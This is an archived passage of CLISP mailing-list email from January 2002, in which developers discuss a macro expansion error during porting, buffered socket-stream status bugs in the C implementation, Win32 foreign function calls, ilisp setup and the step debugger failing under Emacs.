List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jan 18 08:42:10 2002 X-Original-Date: 18 Jan 2002 11:41:08 -0500 > * In message > * On the subject of "[clisp-list] funcall" > * Sent on 18 Jan 2002 10:41:45 -0500 > * Honorable Myriam Abramson writes: > > Maybe you have a suggestion. I'm porting some code from allegro to > clisp and clisp gives me an error here: > > (FUNCALL #'(LAMBDA (x6) > (PROVE X7 (SETOF N2 OBJECT (AN-STG ((NEAREST)))) > (PREDICATE :AGENT X6 :TO-LOC X7)))) > > *** - SYSTEM::%EXPAND-FORM: (NEAREST) should be a lambda expression > > Prove and setof are macros and they work fine at the command line with > the same arguments. Unfortunately, I can't change the code that > produce this expression so any suggestions is welcome. what do (SETOF N2 OBJECT (AN-STG ((NEAREST)))) and (PROVE X7 (SETOF N2 OBJECT (AN-STG ((NEAREST)))) (PREDICATE :AGENT X6 :TO-LOC X7)) macroexpand to? -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! If it has syntax, it isn't user friendly. From samuel.steingold@verizon.net Fri Jan 18 10:03:52 2002 Received: from mta013pub.verizon.net ([206.46.170.214] helo=mta013.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16RdMl-0003oK-00 for ; Fri, 18 Jan 2002 10:03:51 -0800 Received: from xchange.com ([12.25.11.194]) by mta013.verizon.net (InterMail vM.5.01.04.02 201-253-122-122-102-20011128) with ESMTP id <20020118180344.BRIJ9208.mta013.verizon.net@xchange.com>; Fri, 18 Jan 2002 12:03:44 -0600 To: Todd Sabin Cc: Bruno Haible , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] socket-streams vs. two-way streams References: <15423.6323.262729.596965@honolulu.ilog.fr> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 62 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jan 18 10:04:08 2002 X-Original-Date: 18 Jan 2002 13:02:56 -0500 > * In message > * On the subject of "Re: [clisp-list] socket-streams vs. two-way streams" > * Sent on 11 Jan 2002 20:03:30 -0500 > * Honorable Todd Sabin writes: > > Sam Steingold writes: > > > > * Honorable Bruno Haible writes: > > > > > > What is wrong with buffered socket streams as they are implemented > > > now? > > > > (setq s (socket-connect 80 "www.gnu.org" :external-format :dos :buffered t)) > > (format s "GET / HTTP/1.0~2%") > > (finish-output s) > > (socket-status s) > > ==> :output > > > > i.e., there is nothing to be read from the buffered socket S. > > this is why (I think) Todd wants to separate the input and output > > streams of the sockets: he thinks that after he closes the output > > stream, the input will become available. > > (I don't think this is the case since the buffering is done by CLISP, > > not the TCP/IP stack or OS). actually, the output _is_ available, i.e., even though SOCKET-STATUS returns :OUTPUT (i.e., no :INPUT is possible), READ-LINE _will_ return right away as expected. Note that READ-CHAR-WILL-HANG-P _hangs_ on a buffered socket when it cannot return NIL: (setq s (socket-connect 80 "www.gnu.org" :buffered t :external-format :dos)) # (format s "GET / HTTP/1.0~2%") (READ-CHAR-WILL-HANG-P s) __HANG__ (setq s (socket-connect 80 "www.gnu.org" :buffered t :external-format :dos)) # (format s "GET / HTTP/1.0~2%") (finish-output s) (READ-CHAR-WILL-HANG-P s) NIL > The problem I have with buffered sockets is on the server side, not > the client. There's no way a server can use buffered sockets, because > it's totally impossible to read a client's requests unless they happen > to terminate on 4K boundaries (or the client closes his end of the > socket with shutdown(2) before receiving a reply). And, as I said > before, I don't really care much about buffering on input, but you > can't buffer on output unless you also buffer on input, and I do care > about buffering on output. confirmed. -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! The difference between theory and practice is that in theory there isn't any. From terryp@cs.cmu.edu Fri Jan 18 10:09:30 2002 Received: from ux6.sp.cs.cmu.edu ([128.2.181.250]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16RdSE-0004g0-00 for ; Fri, 18 Jan 2002 10:09:30 -0800 Received: from CAPPUCCINOFREAK.CIMDS.RI.CMU.EDU by ux6.sp.cs.cmu.edu id aa13818; 18 Jan 2002 13:08 EST Reply-To: terryp@cs.cmu.edu MMDF-Warning: Parse error in original version of preceding line at ux6.sp.cs.cmu.edu From: "Terry R. Payne" To: clisp-list@lists.sourceforge.net MMDF-Warning: Parse error in original version of preceding line at ux6.sp.cs.cmu.edu Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Importance: Normal Subject: [clisp-list] Making Foreign Function Calls on Win32 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jan 18 10:10:04 2002 X-Original-Date: Fri, 18 Jan 2002 13:07:10 -0500 People, I'm trying to make C foreign function calls on a Windows platform (ideally calling out to C++ functions compiled using Visual Studio). I've found the section on calling external functions in the Implementation notes [1], and it all looks straight forward (famous last words). However, it would appear that I need an executable "clisp-link", which doesn't appear in my distribution. Have I understood the documentation correctly; i.e. that I need to call clisp-link to create a module, or is this a UNIX only method, and a separate method is required for foreign function calls on Win32 (external modules, that use clisp-link, are UNIX only [2])? Thanks, Terry [1] http://clisp.cons.org/impnotes.html#dffi [2] http://clisp.cons.org/impnotes.html#modules _____________________________________________________________________ Terry R. Payne, PhD. | http://www.cs.cmu.edu/~terryp/index.html CMU, Robotics Institute | Voice: (412) 268-8780 Fax: (412) 268-5569 Pittsburgh, PA 15213 | Email: terry@acm.org or Terry.Payne@cmu.edu From lambertb@uic.edu Fri Jan 18 10:21:10 2002 Received: from birch.cc.uic.edu ([128.248.155.162]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16RddV-0006Qs-00 for ; Fri, 18 Jan 2002 10:21:09 -0800 Received: (qmail 6714 invoked from network); 18 Jan 2002 17:53:36 -0000 Received: from lambertb.pharm.uic.edu (HELO lambertb.uic.edu) (128.248.77.221) by birch.cc.uic.edu with SMTP; 18 Jan 2002 17:53:36 -0000 Message-Id: <5.1.0.14.0.20020118121847.02598bc0@tigger.cc.uic.edu> X-Sender: lambertb@tigger.cc.uic.edu X-Mailer: QUALCOMM Windows Eudora Version 5.1 To: clisp-list@lists.sourceforge.net From: "Bruce L. Lambert, Ph.D." In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Subject: [clisp-list] ilisp troubles Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jan 18 10:22:02 2002 X-Original-Date: Fri, 18 Jan 2002 12:21:07 -0600 Hi folks, I am having some trouble getting ilisp working on my Solaris 8 sparc clone. I'm pretty sure my problems are basic. I did read and follow the manual, but I still cannot get ilisp to start up correctly. I don't want to waste bandwidth on the list, but if someone is willing to walk me through ilisp setup, I'd be very grateful. Please contact me off list. -bruce From tas@webspan.net Fri Jan 18 11:01:34 2002 Received: from ool-43518593.dyn.optonline.net ([67.81.133.147] helo=jetcar.qnz.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16ReF9-0004Sc-00 for ; Fri, 18 Jan 2002 11:00:03 -0800 Received: (from tas@localhost) by jetcar.qnz.org (8.9.3/8.9.3) id NAA01713; Fri, 18 Jan 2002 13:58:25 -0500 X-Authentication-Warning: jetcar.qnz.org: tas set sender to tas@jetcar.qnz.org using -f To: Bruno Haible Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] socket-streams vs. two-way streams References: <15423.6323.262729.596965@honolulu.ilog.fr> From: Todd Sabin In-Reply-To: (Sam Steingold's message of "18 Jan 2002 13:02:56 -0500") Message-ID: Lines: 105 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jan 18 11:02:09 2002 X-Original-Date: 18 Jan 2002 13:58:25 -0500 Sam Steingold writes: > > > > What is wrong with buffered socket streams as they are implemented > > > > now? > > > > > > (setq s (socket-connect 80 "www.gnu.org" :external-format :dos :buffered t)) > > > (format s "GET / HTTP/1.0~2%") > > > (finish-output s) > > > (socket-status s) > > > ==> :output > > > > > > i.e., there is nothing to be read from the buffered socket S. > > > this is why (I think) Todd wants to separate the input and output > > > streams of the sockets: he thinks that after he closes the output > > > stream, the input will become available. > > > (I don't think this is the case since the buffering is done by CLISP, > > > not the TCP/IP stack or OS). > > actually, the output _is_ available, i.e., even though SOCKET-STATUS > returns :OUTPUT (i.e., no :INPUT is possible), READ-LINE _will_ return > right away as expected. > Note that READ-CHAR-WILL-HANG-P _hangs_ on a buffered socket when it > cannot return NIL: > Yes, I was looking into it last night, and it's a real can of worms. The problem is in handle_isset (quoted here for reference) # check the appropriate fd_sets for the socket, # either a socket-server, a socket-stream or a (socket . direction) # see socket_status() for details local object handle_isset (object socket, fd_set *readfds, fd_set *writefds, fd_set *errorfds) { object sock = (consp(socket) ? Car(socket) : socket); direction_t dir = (consp(socket)?check_direction(Cdr(socket)):DIRECTION_IO); SOCKET handle = socket_handle(sock,true); if (FD_ISSET(handle,errorfds)) return S(Kerror); else { if (socket_server_p(sock)) { return FD_ISSET(handle,readfds) ? T : NIL; } else { bool wr = WRITE_P(dir) && FD_ISSET(handle,writefds), rd = (READ_P(dir) && FD_ISSET(handle,readfds) && (ls_avail_p(stream_char_p(sock)) ? listen_char(sock) : listen_byte(sock))); if ( rd && !wr) return S(Kinput); else if (!rd && wr) return S(Koutput); else if ( rd && wr) return S(Kio); else return NIL; } } return NIL; } There are multiple problems here. The most obvious is that the listen_char/byte stuff is in the wrong place. It belongs inside the ls_avail_p call, not outside it: && (ls_avail_p(stream_char_p(sock) ? listen_char(sock) : listen_byte(sock)))); Ok. But that's just the first problem. Next is the fact that this stream_char_p(sock) call is checking the stream's element type, but it doesn't do any of the gymnastics to handle the cases of buffered sockets, or two-way streams, etc. (I'm pretty sure this is why your attempt at adding the pipe stuff failed). So it just looks at the eltype or whatever member of the Stream structure, (which is uninitialized in these cases), compares it to Character, finds that it's different, and then tries to listen_byte on a character stream, which naturally fails. So it thinks there's no input available. The kicker is that, at least according to the comments, both listen_char and listen_byte can trigger GC, which means that there is at least one GC safety bug (I think) in socket_status, the variable 'list': for(; !nullp(list); list = Cdr(list), index++) { object tmp = handle_isset(Car(list),&readfds,&writefds,&errorfds); pushSTACK(tmp); } I don't know if it matters or not, but I just noticed this occurs inside of a begin_system_call/end_system_call pair, too. Semi-related is the fact that socket-status :input on a buffered stream should probably check whether there's data in the buffer before calling select. If there's data available, set the timeout to zero, remove the stream from the list to check, use select (with the zero timeout) to check the other streams, and then cons up the answers. Otherwise, socket-status will still give the wrong answer in some cases. > (setq s (socket-connect 80 "www.gnu.org" :buffered t :external-format :dos)) > # > (format s "GET / HTTP/1.0~2%") > (READ-CHAR-WILL-HANG-P s) > __HANG__ > Dunno about that one. Todd From kaz@footprints.net Fri Jan 18 11:25:01 2002 Received: from ashi.footprints.net ([204.239.179.1]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16RedF-00082z-00 for ; Fri, 18 Jan 2002 11:24:57 -0800 Received: from kaz (helo=localhost) by ashi.FootPrints.net with local-esmtp (Exim 3.16 #1) id 16RedD-0004tA-00; Fri, 18 Jan 2002 11:24:55 -0800 From: Kaz Kylheku To: Myriam Abramson cc: Subject: Re: [clisp-list] funcall In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jan 18 11:25:26 2002 X-Original-Date: Fri, 18 Jan 2002 11:24:55 -0800 (PST) On 18 Jan 2002, Myriam Abramson wrote: > Date: 18 Jan 2002 10:41:45 -0500 > From: Myriam Abramson > To: clisp-list@lists.sourceforge.net > Subject: [clisp-list] funcall > > > Hi! > > Maybe you have a suggestion. I'm porting some code from allegro to > clisp and clisp gives me an error here: > > (FUNCALL #'(LAMBDA (x6) > (PROVE X7 (SETOF N2 OBJECT (AN-STG ((NEAREST)))) > (PREDICATE :AGENT X6 :TO-LOC X7)))) > > *** - SYSTEM::%EXPAND-FORM: (NEAREST) should be a lambda expression Without your revealing what these macros can do, it's very hard to guess. You are asking people to hyptohesize about code that is completely unknown to them. The first thing to do is to look at the evaluation stack to find out how the evaluation arrived at that error. There are debugging commands for doing that, just type ? for help. Then inspect the expansion of these macros with macroexpand, to see what the macro expander does with the structural element (NEAREST). > Prove and setof are macros and they work fine at the command line with > the same arguments. Unfortunately, I can't change the code that > produce this expression so any suggestions is welcome. As a rule of thumb, when you port code, you have to be prepared to change it so that it works on the new platform, while continuing to work on the old ones. If you can't do that, you can't do porting; the constraint you are faced with is simply unrealistic. Consider that by running the program on a different platform, you are *effectively* changing it, because you are replacing the entire Lisp layer with a different implementation. If that risk is okay, why is it not okay to adjust the code? You can always use #+ and #- to introduce implementation-specific variations to code. Say you have some form F which works great on your currently supported Lisps but needs to be written differently on CLISP, as the new form F*. So then you can replace F with #-CLISP F ; on anything but CLISP, read form F #+CLISP F* ; on CLISP, read form F* This way you did change the source file, but you did not introduce any change to the objects that are read from it. If even that risk is unacceptable, at least not in the short term, then what you can do is fork the project to create your own code stream targetting CLISP. The version control tool CVS can do this quite easily with its vendor branching feature; you can import some ``third party'' code, and make local modifications of it. The later you can import newer snapshots of the code and merge them with your local mods. If you are already using a version control tool that supports reasonable branching, then you can just start an experimental branch. Others don't have to accept your changes until you put them through whatever verification process your organization requires; in the meanwhile you can live on your branch. From samuel.steingold@verizon.net Fri Jan 18 11:32:52 2002 Received: from pop018pub.verizon.net ([206.46.170.212] helo=pop018.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16Rekt-0000ky-00 for ; Fri, 18 Jan 2002 11:32:52 -0800 Received: from xchange.com ([12.25.11.194]) by pop018.verizon.net (InterMail vM.5.01.04.02 201-253-122-122-102-20011128) with ESMTP id <20020118193249.CBLB11895.pop018.verizon.net@xchange.com>; Fri, 18 Jan 2002 13:32:49 -0600 To: terryp@cs.cmu.edu Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Making Foreign Function Calls on Win32 References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 31 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jan 18 11:33:06 2002 X-Original-Date: 18 Jan 2002 14:31:56 -0500 > * In message > * On the subject of "[clisp-list] Making Foreign Function Calls on Win32" > * Sent on Fri, 18 Jan 2002 13:07:10 -0500 > * Honorable "Terry R. Payne" writes: > > However, it would appear that I need an executable "clisp-link", which > doesn't appear in my distribution. this is a unix-specific shell script. > Have I understood the documentation correctly; i.e. that I need to > call clisp-link to create a module, or is this a UNIX only method, and > a separate method is required for foreign function calls on Win32 > (external modules, that use clisp-link, are UNIX only [2])? clisp-link and dynamic modules are unix-only at the moment. using libltdl (part of gnu libtool) should make it possible to port dynamic modules to win32. would you like to work on that? I don't use FFI myself, so I cannot really help you here. I suspect that linking lisp.exe with your *.obj files and using the resulting executable to compile and load the FFI forms you write should work. -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! Life is like a diaper -- short and loaded. From samuel.steingold@verizon.net Fri Jan 18 12:41:25 2002 Received: from out015pub.verizon.net ([206.46.170.90] helo=out015.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16RfpC-0008WC-00 for ; Fri, 18 Jan 2002 12:41:22 -0800 Received: from xchange.com ([12.25.11.194]) by out015.verizon.net (InterMail vM.5.01.04.02 201-253-122-122-102-20011128) with ESMTP id <20020118204115.CKPH2743.out015.verizon.net@xchange.com>; Fri, 18 Jan 2002 14:41:15 -0600 To: Todd Sabin Cc: Bruno Haible , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] socket-streams vs. two-way streams References: <15423.6323.262729.596965@honolulu.ilog.fr> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 50 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jan 18 12:42:02 2002 X-Original-Date: 18 Jan 2002 15:40:20 -0500 > * In message > * On the subject of "Re: [clisp-list] socket-streams vs. two-way streams" > * Sent on 18 Jan 2002 13:58:25 -0500 > * Honorable Todd Sabin writes: > > Yes, I was looking into it last night, and it's a real can of worms. > The problem is in handle_isset (quoted here for reference) the version you quote is fairly old - how long ago did you do a `cvs up`? > The most obvious is that the listen_char/byte stuff is in the wrong > place. this have been fixed for some time. > Ok. But that's just the first problem. Next is the fact that this > stream_char_p(sock) call is checking the stream's element type, but it > doesn't do any of the gymnastics to handle the cases of buffered > sockets, or two-way streams, etc. (I'm pretty sure this is why your > attempt at adding the pipe stuff failed). So it just looks at the > eltype or whatever member of the Stream structure, (which is > uninitialized in these cases), compares it to Character, finds that > it's different, and then tries to listen_byte on a character stream, > which naturally fails. So it thinks there's no input available. I don't think this is the problem. my pipe attempt did not fail. my patch does work - it's just incomplete. > The kicker is that, at least according to the comments, both > listen_char and listen_byte can trigger GC, which means that there is > at least one GC safety bug (I think) in socket_status, the variable > 'list': thanks! fixed now! > Semi-related is the fact that socket-status :input on a buffered > stream should probably check whether there's data in the buffer before > calling select. If there's data available, set the timeout to zero, > remove the stream from the list to check, use select (with the zero > timeout) to check the other streams, and then cons up the answers. > Otherwise, socket-status will still give the wrong answer in some > cases. why remove it? -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! When you are arguing with an idiot, your opponent is doing the same. From tas@webspan.net Fri Jan 18 13:33:27 2002 Received: from ool-43518593.dyn.optonline.net ([67.81.133.147] helo=jetcar.qnz.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16Rgda-0003xt-00 for ; Fri, 18 Jan 2002 13:33:26 -0800 Received: (from tas@localhost) by jetcar.qnz.org (8.9.3/8.9.3) id QAA02365; Fri, 18 Jan 2002 16:33:17 -0500 X-Authentication-Warning: jetcar.qnz.org: tas set sender to tas@jetcar.qnz.org using -f To: Bruno Haible Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] socket-streams vs. two-way streams References: <15423.6323.262729.596965@honolulu.ilog.fr> From: Todd Sabin In-Reply-To: (Sam Steingold's message of "18 Jan 2002 15:40:20 -0500") Message-ID: Lines: 56 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jan 18 13:34:01 2002 X-Original-Date: 18 Jan 2002 16:33:17 -0500 Sam Steingold writes: > > * In message > > * On the subject of "Re: [clisp-list] socket-streams vs. two-way streams" > > * Sent on 18 Jan 2002 13:58:25 -0500 > > * Honorable Todd Sabin writes: > > > > Yes, I was looking into it last night, and it's a real can of worms. > > The problem is in handle_isset (quoted here for reference) > > the version you quote is fairly old - how long ago did you do a `cvs up`? About a week ago, apparently just before you fixed it. > > Ok. But that's just the first problem. Next is the fact that this > > stream_char_p(sock) call is checking the stream's element type, but it > > doesn't do any of the gymnastics to handle the cases of buffered > > sockets, or two-way streams, etc. (I'm pretty sure this is why your > > attempt at adding the pipe stuff failed). So it just looks at the > > eltype or whatever member of the Stream structure, (which is > > uninitialized in these cases), compares it to Character, finds that > > it's different, and then tries to listen_byte on a character stream, > > which naturally fails. So it thinks there's no input available. > > I don't think this is the problem. Why not? What's inaccurate in what I said? > my pipe attempt did not fail. > my patch does work - it's just incomplete. Well, you said previously: >sure. note that the following trivial patch is no good: >[...] >first, both input _and_ output must be checked >second, for some reason it doesn't work :-) Maybe you have a more recent version? > > Semi-related is the fact that socket-status :input on a buffered > > stream should probably check whether there's data in the buffer before > > calling select. If there's data available, set the timeout to zero, > > remove the stream from the list to check, use select (with the zero > > timeout) to check the other streams, and then cons up the answers. > > Otherwise, socket-status will still give the wrong answer in some > > cases. > > why remove it? Because select will probably give you the wrong answer. I don't mean remove as in not to give an answer to the caller, just that socket-status can't rely on select to provide it in that case. Todd From bc19191@attbi.com Fri Jan 18 13:59:51 2002 Received: from rwcrmhc52.attbi.com ([216.148.227.88]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16Rh39-0000SG-00 for ; Fri, 18 Jan 2002 13:59:51 -0800 Received: from c1652423a ([12.253.95.235]) by rwcrmhc52.attbi.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with SMTP id <20020118215945.JPFW3578.rwcrmhc52.attbi.com@c1652423a> for ; Fri, 18 Jan 2002 21:59:45 +0000 Message-ID: <000801c1a06b$c2e336e0$eb5ffd0c@attbi.com> From: "Bill Clementson" To: MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0005_01C1A031.16413B60" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6600 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 Subject: [clisp-list] Problem using step in emacs with clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jan 18 14:00:04 2002 X-Original-Date: Fri, 18 Jan 2002 15:02:03 -0700 This is a multi-part message in MIME format. ------=_NextPart_000_0005_01C1A031.16413B60 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Does anyone know why the debugging command "step" would work fine when = clisp is started from a command line but not from within an emacs shell or from = within a=20 lisp buffer in emacs (using ilisp)? For example, here is a session captured from a dos command line session: [1]> (defun tst () (setq x 1) (+ x 2)) TST [2]> (step (tst)) step 1 --> (TST) Step 1 [3]> :s step 2 --> (PROGN (SETQ X 1) (+ X 2)) Step 2 [4]> :s step 3 --> (SETQ X 1) Step 3 [5]> :s step 4 --> 1 Step 4 [6]> :s step 4 =3D=3D> value: 1 step 3 =3D=3D> value: 1 step 3 --> (+ X 2) Step 3 [7]> :s step 4 --> X Step 4 [8]> :s step 4 =3D=3D> value: 1 step 4 --> 2 Step 4 [9]> :s step 4 =3D=3D> value: 2 step 3 =3D=3D> value: 3 step 2 =3D=3D> value: 3 step 1 =3D=3D> value: 3 3 Here is the same session run from within an ilisp lisp buffer: [1]>=20 [2]> (defun tst () (setq x 1) (+ x 2)) TST [9]> (step (tst)) step 1 --> (TST) Step 1 [10]> :s :S Step 1 [10]> :s :S Step 1 [10]> :s :S Step 1 [10]>=20 As you can see, the step command (:s) is not being recognized when I'm = in the emacs lisp buffer but it is recognized when I run clisp from a regular = command line.=20 I am using emacs 21.1 on Windows2000 with the cvs version of ilisp and = clisp 2.27. This doesn't seem to be an ilisp issue (it seems to be an emacs = issue) as I get the same results if I start clisp in an emacs shell buffer. It = doesn't matter whether I use the standard Windows shell or if I use the bash = shell from cygwin as my shell within emacs, neither let me "step" from within = emacs.=20 Anybody have any ideas as to what I'm doing wrong or whether this might = be an emacs issue?=20 --=20 Bill Clementson ------=_NextPart_000_0005_01C1A031.16413B60 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Does anyone know why the debugging = command "step"=20 would work fine when clisp is
started from a command line but not = from within=20 an emacs shell or from within a
lisp  buffer in emacs (using=20 ilisp)?
 
For example, here is a session captured = from a dos=20 command line session:
 
[1]> (defun tst () (setq x 1) (+ x=20 2))
TST
[2]> (step (tst))
step 1 --> (TST)
Step 1 = [3]>=20 :s
step 2 --> (PROGN (SETQ X 1) (+ X 2))
Step 2 [4]> = :s
step 3=20 --> (SETQ X 1)
Step 3 [5]> :s
step 4 --> 1
Step 4 = [6]>=20 :s
 
step 4 =3D=3D> value: 1
step 3 = =3D=3D> value:=20 1
step 3 --> (+ X 2)
Step 3 [7]> :s
step 4 --> = X
Step 4=20 [8]> :s
 
step 4 =3D=3D> value: 1
step 4 = --> 2
Step 4=20 [9]> :s
 
step 4 =3D=3D> value: 2
step 3 = =3D=3D> value:=20 3
step 2 =3D=3D> value: 3
step 1 =3D=3D> value: = 3
3
 
Here is the same session run from = within an ilisp=20 lisp buffer:
 
[1]>
[2]> (defun tst () (setq = x 1) (+ x=20 2))
TST
[9]> (step (tst))
step 1 --> (TST)
Step 1 = [10]>=20 :s
:S
Step 1 [10]> :s
:S
Step 1 [10]> :s
:S
Step = 1=20 [10]>
 
As you can see, the step command (:s) = is not being=20 recognized when I'm in the
emacs lisp buffer but it is recognized = when I run=20 clisp from a regular command
line.
 
I am using emacs 21.1 on Windows2000 = with the cvs=20 version of ilisp and clisp
2.27. This doesn't seem to be an ilisp = issue (it=20 seems to be an emacs issue) as
I get the same results if I start = clisp in an=20 emacs shell buffer. It doesn't
matter whether I use the standard = Windows=20 shell or if I use the bash shell from
cygwin as my shell within = emacs,=20 neither let me "step" from within emacs.
 
Anybody have any ideas as to what I'm = doing wrong=20 or whether this might be an
emacs issue?
 
--
Bill=20 Clementson
------=_NextPart_000_0005_01C1A031.16413B60-- From samuel.steingold@verizon.net Fri Jan 18 14:17:04 2002 Received: from mta015pub.verizon.net ([206.46.170.218] helo=mta015.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16RhJo-0003aq-00 for ; Fri, 18 Jan 2002 14:17:04 -0800 Received: from xchange.com ([12.25.11.194]) by mta015.verizon.net (InterMail vM.5.01.04.02 201-253-122-122-102-20011128) with ESMTP id <20020118221657.CXHY9120.mta015.verizon.net@xchange.com>; Fri, 18 Jan 2002 16:16:57 -0600 To: Todd Sabin Cc: Bruno Haible , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] socket-streams vs. two-way streams References: <15423.6323.262729.596965@honolulu.ilog.fr> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 47 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jan 18 14:18:02 2002 X-Original-Date: 18 Jan 2002 17:15:56 -0500 > * In message > * On the subject of "Re: [clisp-list] socket-streams vs. two-way streams" > * Sent on 18 Jan 2002 16:33:17 -0500 > * Honorable Todd Sabin writes: > > Sam Steingold writes: > > > > Ok. But that's just the first problem. Next is the fact that this > > > stream_char_p(sock) call is checking the stream's element type, but it > > > doesn't do any of the gymnastics to handle the cases of buffered > > > sockets, or two-way streams, etc. (I'm pretty sure this is 